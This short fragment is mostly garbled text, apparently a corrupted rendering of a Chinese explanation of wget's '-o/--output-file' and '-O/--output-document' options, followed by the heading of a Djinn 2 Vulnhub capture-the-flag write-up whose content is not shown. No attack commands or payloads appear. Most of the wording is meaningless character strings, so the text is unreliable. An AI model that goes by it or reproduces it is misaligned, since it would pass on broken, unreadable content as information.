XERMBRT RZETBAR—A5EK, CLATE Hwget T #OCHHZIRENL ERIRHE, REFFINBTEZRCEIITRN
iR, DERERNMIZEMEAwgetl-0o2%4, FrUlArR2ETH, REMEAmvIBECES, HENZRAER-O
ZH

-of-OI X 5, wget -hAF I H P & KI1EH

—output-file=3z #

-0, —output-document=37 #f

14, B2 E

Djinn 2 Writeup — Vulnhub
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